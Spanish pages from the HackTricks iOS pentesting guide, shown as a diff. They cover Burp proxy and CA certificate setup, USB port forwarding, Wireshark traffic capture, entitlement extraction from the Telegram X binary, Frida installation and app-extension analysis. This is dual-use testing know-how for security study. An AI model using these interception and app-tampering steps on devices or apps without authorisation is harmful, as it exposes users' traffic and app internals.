Es importante tener en cuenta que cambiar este valor romperá la firma original del archivo IPA, por lo que deberá volver a firmar el IPA después de la actualización para poder instalarlo en un dispositivo en el que no se haya desactivado la validación de la firma.
|
||||
|
||||
Es posible que este bypass no funcione si la aplicación requiere capacidades específicas de los iPads modernos mientras que su iPhone o iPod es un poco más antiguo.
|
||||
|
||||
Los posibles valores para la propiedad [UIDeviceFamily](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple_ref/doc/uid/TP40009252-SW11) se pueden encontrar en la documentación de desarrolladores de Apple.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
133
mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
Normal file
133
mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
Normal file
|
@ -0,0 +1,133 @@
|
|||
# Configuración de Burp Suite para iOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Instalación del certificado de Burp en iOS físico
|
||||
|
||||
Puedes instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) **para ayudarte a instalar el certificado de Burp, configurar el proxy y realizar SSL Pinning.**\
|
||||
O puedes seguir manualmente los siguientes pasos:
|
||||
|
||||
* Configura **Burp** como el **proxy del iPhone en \_Configuración**_\*\* --> \*\*_**Wifi**_\*\* --> \*\*_**Haz clic en la red**_\*\* --> \*\*_**Proxy**\_
|
||||
* Accede a `http://burp` y descarga el certificado
|
||||
* Accede a _**Configuración**_ --> _**Perfil descargado**_ e **instálalo** (se te pedirá tu código)
|
||||
* Accede a _**Configuración**_ --> _**General**_ --> _**Acerca de**_ --> _**Configuración de confianza de certificados**_ y habilita PortSwigger CA
|
||||
|
||||
### Configuración de un proxy de intercepción a través de localhost
|
||||
|
||||
Configurar Burp para que actúe como proxy de tu tráfico es bastante sencillo. Suponemos que tanto tu dispositivo iOS como tu ordenador están conectados a una red Wi-Fi que permite el tráfico de cliente a cliente. Si no se permite el tráfico de cliente a cliente, puedes usar usbmuxd para conectarte a Burp a través de USB.
|
||||
|
||||
PortSwigger proporciona un buen [tutorial sobre cómo configurar un dispositivo iOS para trabajar con Burp](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) y un [tutorial sobre cómo instalar el certificado CA de Burp en un dispositivo iOS](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
|
||||
|
||||
#### Uso de Burp a través de USB en un dispositivo con jailbreak
|
||||
|
||||
Al hacer análisis dinámico, es interesante usar la conexión SSH para enrutar nuestro tráfico a Burp que se está ejecutando en nuestro ordenador. Empecemos:
|
||||
|
||||
Primero necesitamos usar **iproxy** para hacer que SSH desde iOS esté disponible en localhost.
|
||||
```bash
|
||||
$ iproxy 2222 22
|
||||
waiting for connection
|
||||
```
|
||||
El siguiente paso es hacer un reenvío remoto de puerto del puerto 8080 del dispositivo iOS a la interfaz de localhost en nuestro ordenador al puerto 8080.
|
||||
```bash
|
||||
ssh -R 8080:localhost:8080 root@localhost -p 2222
|
||||
```
|
||||
Ahora deberías poder acceder a Burp en tu dispositivo iOS. Abre Safari en iOS y ve a **127.0.0.1:8080** y deberías ver la página de Burp Suite. Este sería también un buen momento para [instalar el certificado CA](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) de Burp en tu dispositivo iOS.
|
||||
|
||||
El último paso sería configurar el proxy globalmente en tu dispositivo iOS:
|
||||
|
||||
1. Ve a **Configuración** -> **Wi-Fi**
|
||||
2. Conéctate a _cualquier_ Wi-Fi (literalmente puedes conectarte a cualquier Wi-Fi ya que el tráfico para el puerto 80 y 443 se enruta a través de USB, ya que solo estamos usando la configuración de proxy para el Wi-Fi para poder establecer un proxy global)
|
||||
3. Una vez conectado, haz clic en el pequeño icono azul en el lado derecho del Wi-Fi conectado
|
||||
4. Configura tu proxy seleccionando **Manual**
|
||||
5. Escribe 127.0.0.1 como **Servidor**
|
||||
6. Escribe 8080 como **Puerto**
|
||||
|
||||
### Monitoreo/Sniffing completo de la red
|
||||
|
||||
Si necesitas **monitorear algo diferente de las comunicaciones HTTP** puedes espiar todo el tráfico del dispositivo con **wireshark**.\
|
||||
Puedes espiar todo el tráfico de forma remota en tiempo real en iOS creando una **Interfaz Virtual Remota** para tu dispositivo iOS. Primero asegúrate de tener **Wireshark** **instalado** en tu computadora host macOS.
|
||||
|
||||
1. **Conecta** tu dispositivo iOS a tu computadora host macOS a través de USB.
|
||||
2. Necesitarás conocer el **UDID de tu dispositivo iOS**, antes de poder empezar a espiar. Abre la Terminal en macOS e ingresa el siguiente comando, rellenando el UDID de tu dispositivo iOS.
|
||||
```bash
|
||||
$ rvictl -s <UDID>
|
||||
Starting device <UDID> [SUCCEEDED] with interface rvi0
|
||||
```
|
||||
1. Inicie **Wireshark** y seleccione "**rvi0**" como interfaz de captura.
|
||||
2. Filtrar el tráfico con los filtros de captura en Wireshark para mostrar lo que desea monitorear (por ejemplo, todo el tráfico HTTP enviado/recibido a través de la dirección IP 192.168.1.1).
|
||||
```
|
||||
ip.addr == 192.168.1.1 && http
|
||||
```
|
||||
![](<../../.gitbook/assets/image (472).png>)
|
||||
|
||||
La documentación de Wireshark ofrece muchos ejemplos de [filtros de captura](https://wiki.wireshark.org/CaptureFilters) que deberían ayudarte a filtrar el tráfico para obtener la información que deseas.
|
||||
|
||||
## Instalación del certificado Burp en el simulador
|
||||
|
||||
* **Exportar el certificado Burp**
|
||||
|
||||
En _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format_
|
||||
|
||||
![](<../../.gitbook/assets/image (459).png>)
|
||||
|
||||
* **Arrastra y suelta** el certificado dentro del Emulador
|
||||
* **Dentro del emulador** ve a _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_, y **verifica el certificado**
|
||||
* **Dentro del emulador** ve a _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_, y **habilita PortSwigger CA**
|
||||
|
||||
![](<../../.gitbook/assets/image (460).png>)
|
||||
|
||||
**Felicidades, has configurado correctamente el certificado Burp CA en el simulador de iOS**
|
||||
|
||||
{% hint style="info" %}
|
||||
**El simulador de iOS utilizará las configuraciones de proxy de MacOS.**
|
||||
{% endhint %}
|
||||
|
||||
### Configuración de proxy de MacOS
|
||||
|
||||
Pasos para configurar Burp como proxy:
|
||||
|
||||
* Ve a _Preferencias del sistema_ --> _Red_ --> _Avanzado_
|
||||
* En la pestaña _Proxies_ marca _Web Proxy (HTTP)_ y _Secure Web Proxy (HTTPS)_
|
||||
* En ambas opciones configura _127.0.0.1:8080_
|
||||
|
||||
![](<../../.gitbook/assets/image (461).png>)
|
||||
|
||||
* Haz clic en _**Ok**_ y luego en _**Aplicar**_
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,66 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Página copiada de** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links)
|
||||
|
||||
Si solo tienes el IPA de la aplicación o simplemente la aplicación instalada en un dispositivo con jailbreak, normalmente no podrás encontrar archivos `.entitlements`. Esto también podría ser el caso del archivo `embedded.mobileprovision`. Aún así, deberías ser capaz de extraer las listas de propiedades de los entitlements del binario de la aplicación tú mismo (que has obtenido previamente como se explica en el capítulo "Pruebas básicas de seguridad en iOS", sección "Adquisición del binario de la aplicación").
|
||||
|
||||
Los siguientes pasos deberían funcionar incluso cuando se apunta a un binario cifrado. Si por alguna razón no lo hacen, tendrás que descifrar y extraer la aplicación con, por ejemplo, Clutch (si es compatible con tu versión de iOS), frida-ios-dump o similar.
|
||||
|
||||
**Extracción del archivo Entitlements Plist del binario de la aplicación**
|
||||
|
||||
Si tienes el binario de la aplicación en tu ordenador, un enfoque es utilizar binwalk para extraer (`-e`) todos los archivos XML (`-y=xml`):
|
||||
```bash
|
||||
$ binwalk -e -y=xml ./Telegram\ X
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
--------------------------------------------------------------------------------
|
||||
1430180 0x15D2A4 XML document, version: "1.0"
|
||||
1458814 0x16427E XML document, version: "1.0"
|
||||
```
|
||||
O puedes usar radare2 (`-qc` para ejecutar un comando en silencio y salir) para buscar todas las cadenas en el binario de la aplicación (`izz`) que contengan "PropertyList" (`~PropertyList`):
|
||||
```bash
|
||||
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||
|
||||
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n<!DOCTYPE plist PUBLIC
|
||||
"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">
|
||||
...<key>com.apple.security.application-groups</key>\n\t\t<array>
|
||||
\n\t\t\t<string>group.ph.telegra.Telegraph</string>...
|
||||
|
||||
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE plist PUBLIC
|
||||
"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">\n
|
||||
<dict>\n\t<key>cdhashes</key>...
|
||||
```
|
||||
En ambos casos (binwalk o radare2) pudimos extraer los mismos dos archivos `plist`. Si inspeccionamos el primero (0x0015d2a4), vemos que pudimos recuperar completamente el [archivo de entitlements original de Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
|
||||
> Nota: el comando `strings` no ayudará aquí ya que no podrá encontrar esta información. Es mejor usar grep con la bandera `-a` directamente en el binario o usar radare2 (`izz`)/rabin2 (`-zz`).
|
||||
|
||||
Si accede al binario de la aplicación en el dispositivo con jailbreak (por ejemplo, a través de SSH), puede usar grep con la bandera `-a, --text` (trata todos los archivos como texto ASCII):
|
||||
```bash
|
||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/
|
||||
15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/Telegram X.app/Telegram\ X
|
||||
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.application-groups</key>
|
||||
<array>
|
||||
...
|
||||
```
|
||||
Juega con la bandera `-A num, --after-context=num` para mostrar más o menos líneas. También puedes utilizar herramientas como las que presentamos anteriormente, si las tienes instaladas en tu dispositivo iOS con jailbreak.
|
||||
|
||||
> Este método debería funcionar incluso si el binario de la aplicación todavía está encriptado (se probó con varias aplicaciones de la App Store).
|
|
@ -0,0 +1,7 @@
|
|||
# Instalando Frida
|
||||
|
||||
Ve a la aplicación **Cydia** y agrega el repositorio de Frida yendo a **Manage -> Sources -> Edit -> Add** e ingresando [**https://build.frida.re** ](https://build.frida.re). Esto agregará una nueva fuente en la lista de fuentes. Ve a la **fuente de frida**, ahora deberías **instalar** el paquete de **Frida**.
|
||||
|
||||
![](https://miro.medium.com/max/614/0\*qSD26kBtgt\_UIZk1.png)
|
||||
|
||||
Después de instalado, puedes usar en tu PC el comando `frida-ls-devices` y verificar que el dispositivo aparezca (tu PC necesita poder acceder a él). Ejecuta también `frida-ps -Uia` para verificar los procesos en ejecución del teléfono.
|
196
mobile-pentesting/ios-pentesting/ios-app-extensions.md
Normal file
196
mobile-pentesting/ios-pentesting/ios-app-extensions.md
Normal file
|
@ -0,0 +1,196 @@
|
|||
# Extensiones de aplicaciones iOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
Las extensiones de aplicaciones permiten a las aplicaciones ofrecer funcionalidades y contenido personalizados a los usuarios mientras interactúan con otras aplicaciones o el sistema. Algunas de las más notables son:
|
||||
|
||||
* **Teclado personalizado**: reemplaza el teclado del sistema iOS con un teclado personalizado para su uso en todas las aplicaciones.
|
||||
* **Compartir**: publica en un sitio web de intercambio o comparte contenido con otros.
|
||||
* **Hoy**: también llamados **widgets**, ofrecen contenido o realizan tareas rápidas en la vista Hoy del Centro de Notificaciones.
|
||||
|
||||
Por ejemplo, el usuario selecciona texto en la _aplicación anfitriona_, hace clic en el botón "Compartir" y selecciona una "aplicación" o acción de la lista. Esto activa la _extensión de la aplicación_ de la _aplicación contenedora_. La extensión de la aplicación muestra su vista dentro del contexto de la aplicación anfitriona y utiliza los elementos proporcionados por la aplicación anfitriona, el texto seleccionado en este caso, para realizar una tarea específica (publicarlo en una red social, por ejemplo). Vea esta imagen de la [Guía de programación de extensiones de aplicaciones de Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple\_ref/doc/uid/TP40014214-CH2-SW13) que resume bastante bien esto:
|
||||
|
||||
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQx9khfTwUwYuMti%2Fapp\_extensions\_communication.png?alt=media)
|
||||
|
||||
### **Consideraciones de seguridad**
|
||||
|
||||
Desde el punto de vista de la seguridad, es importante tener en cuenta que:
|
||||
|
||||
* Una **extensión de aplicación nunca se comunica directamente con su aplicación contenedora** (por lo general, ni siquiera se está ejecutando mientras se ejecuta la extensión de la aplicación contenida).
|
||||
* Una **extensión de aplicación** y la **aplicación anfitriona se comunican** a través de la **comunicación entre procesos**.
|
||||
* La **aplicación contenedora de una extensión** y la **aplicación anfitriona no se comunican** en absoluto.
|
||||
* Un **widget de Hoy** (y ningún otro tipo de extensión de aplicación) puede pedir al sistema que abra su aplicación contenedora llamando al método `openURL:completionHandler:` de la clase `NSExtensionContext`.
|
||||
* Cualquier **extensión de aplicación** y su **aplicación contenedora** pueden **acceder a datos compartidos en un contenedor compartido definido de forma privada**.
|
||||
* Las extensiones de aplicaciones **no pueden acceder a algunas API**, por ejemplo, HealthKit.
|
||||
* No pueden recibir datos usando AirDrop, pero sí pueden enviar datos.
|
||||
* **No se permiten tareas en segundo plano de larga duración**, pero se pueden iniciar cargas o descargas.
|
||||
* Las extensiones de aplicaciones **no pueden acceder a la cámara o al micrófono en un dispositivo iOS** (excepto las extensiones de aplicaciones de iMessage).
|
||||
|
||||
### Análisis estático
|
||||
|
||||
#### **Verificación de si la aplicación contiene extensiones de aplicaciones**
|
||||
|
||||
Si tiene el código fuente original, puede buscar todas las ocurrencias de `NSExtensionPointIdentifier` con Xcode (cmd+shift+f) o echar un vistazo a "Build Phases / Embed App extensions":
|
||||
|
||||
![](<../../.gitbook/assets/image (496).png>)
|
||||
|
||||
Allí puede encontrar los nombres de todas las extensiones de aplicaciones incrustadas seguidas de `.appex`, ahora puede navegar a las extensiones de aplicaciones individuales en el proyecto.
|
||||
|
||||
Si no tiene el código fuente original:
|
||||
|
||||
Busque `NSExtensionPointIdentifier` entre todos los archivos dentro del paquete de la aplicación (IPA o aplicación instalada):
|
||||
```bash
|
||||
$ grep -nr NSExtensionPointIdentifier Payload/Telegram\ X.app/
|
||||
Binary file Payload/Telegram X.app//PlugIns/SiriIntents.appex/Info.plist matches
|
||||
Binary file Payload/Telegram X.app//PlugIns/Share.appex/Info.plist matches
|
||||
Binary file Payload/Telegram X.app//PlugIns/NotificationContent.appex/Info.plist matches
|
||||
Binary file Payload/Telegram X.app//PlugIns/Widget.appex/Info.plist matches
|
||||
Binary file Payload/Telegram X.app//Watch/Watch.app/PlugIns/Watch Extension.appex/Info.plist matches
|
||||
```
|
||||
También puedes acceder por SSH, encontrar el paquete de la aplicación y listar todos los PlugIns internos (que se colocan allí por defecto) o hacerlo con objection:
|
||||
```bash
|
||||
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # cd PlugIns
|
||||
/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/
|
||||
Telegram X.app/PlugIns
|
||||
|
||||
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection Read Write Name
|
||||
------------ ------- ------------------ ------ ------- -------------------------
|
||||
Directory 493 None True False NotificationContent.appex
|
||||
Directory 493 None True False Widget.appex
|
||||
Directory 493 None True False Share.appex
|
||||
Directory 493 None True False SiriIntents.appex
|
||||
```
|
||||
Ahora podemos ver las mismas cuatro extensiones de aplicaciones que vimos en Xcode antes.
|
||||
|
||||
#### **Determinando los tipos de datos soportados**
|
||||
|
||||
Esto es importante para los datos que se comparten con aplicaciones anfitrionas (por ejemplo, a través de extensiones de Compartir o Acción). Cuando el usuario selecciona algún tipo de dato en una aplicación anfitriona y coincide con los tipos de datos definidos aquí, la aplicación anfitriona ofrecerá la extensión. Vale la pena notar la diferencia entre esto y el intercambio de datos a través de `UIActivity`, donde teníamos que definir los tipos de documentos, también usando UTIs. Una aplicación no necesita tener una extensión para eso. Es posible compartir datos usando solo `UIActivity`.
|
||||
|
||||
Inspeccione el archivo `Info.plist` de la extensión de la aplicación y busque `NSExtensionActivationRule`. Esa clave especifica los datos que se admiten, así como, por ejemplo, el máximo de elementos admitidos. Por ejemplo:
|
||||
```markup
|
||||
<key>NSExtensionAttributes</key>
|
||||
<dict>
|
||||
<key>NSExtensionActivationRule</key>
|
||||
<dict>
|
||||
<key>NSExtensionActivationSupportsImageWithMaxCount</key>
|
||||
<integer>10</integer>
|
||||
<key>NSExtensionActivationSupportsMovieWithMaxCount</key>
|
||||
<integer>1</integer>
|
||||
<key>NSExtensionActivationSupportsWebURLWithMaxCount</key>
|
||||
<integer>1</integer>
|
||||
</dict>
|
||||
</dict>
|
||||
```
|
||||
Solo se admitirán los tipos de datos presentes aquí y que no tengan `0` como `MaxCount`. Sin embargo, es posible realizar filtrados más complejos utilizando una cadena de predicado llamada "predicate string" que evaluará los UTI proporcionados. Consulte la [Guía de programación de extensiones de aplicaciones de Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW8) para obtener información más detallada sobre esto.
|
||||
|
||||
**Comprobación del intercambio de datos con la aplicación contenedora**
|
||||
|
||||
Recuerde que las extensiones de aplicaciones y sus aplicaciones contenedoras no tienen acceso directo a los contenedores del otro. Sin embargo, se puede habilitar el intercambio de datos. Esto se hace a través de los "Grupos de aplicaciones" y la API [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults). Consulte esta figura de la [Guía de programación de extensiones de aplicaciones de Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW11):
|
||||
|
||||
![](../../mobile-apps-pentesting/ios-pentesting/broken-reference)
|
||||
|
||||
Como también se menciona en la guía, la aplicación debe configurar un contenedor compartido si la extensión de la aplicación utiliza la clase `NSURLSession` para realizar una carga o descarga en segundo plano, para que tanto la extensión como su aplicación contenedora puedan acceder a los datos transferidos.
|
||||
|
||||
**Verificación de si la aplicación restringe el uso de extensiones de aplicaciones**
|
||||
|
||||
Es posible rechazar un tipo específico de extensión de aplicación utilizando el siguiente método:
|
||||
|
||||
* [`application:shouldAllowExtensionPointIdentifier:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623122-application?language=objc)
|
||||
|
||||
Sin embargo, actualmente solo es posible para las extensiones de aplicaciones de "teclado personalizado" (y debe verificarse al probar aplicaciones que manejen datos sensibles a través del teclado, como aplicaciones bancarias, por ejemplo).
|
||||
|
||||
### Análisis dinámico
|
||||
|
||||
Para el análisis dinámico, podemos hacer lo siguiente para obtener conocimiento sin tener el código fuente:
|
||||
|
||||
* Inspeccionar los elementos que se comparten
|
||||
* Identificar las extensiones de aplicaciones involucradas
|
||||
|
||||
**Inspeccionar los elementos que se comparten**
|
||||
|
||||
Para esto, debemos enganchar `NSExtensionContext - inputItems` en la aplicación de origen de los datos.
|
||||
|
||||
Siguiendo el ejemplo anterior de Telegram, ahora usaremos el botón "Compartir" en un archivo de texto (que se recibió de un chat) para crear una nota en la aplicación Notas con él:
|
||||
|
||||
![](<../../.gitbook/assets/image (497).png>)
|
||||
|
||||
Si ejecutamos un rastreo, veremos la siguiente salida:
|
||||
```bash
|
||||
(0x1c06bb420) NSExtensionContext - inputItems
|
||||
0x18284355c Foundation!-[NSExtension _itemProviderForPayload:extensionContext:]
|
||||
0x1828447a4 Foundation!-[NSExtension _loadItemForPayload:contextIdentifier:completionHandler:]
|
||||
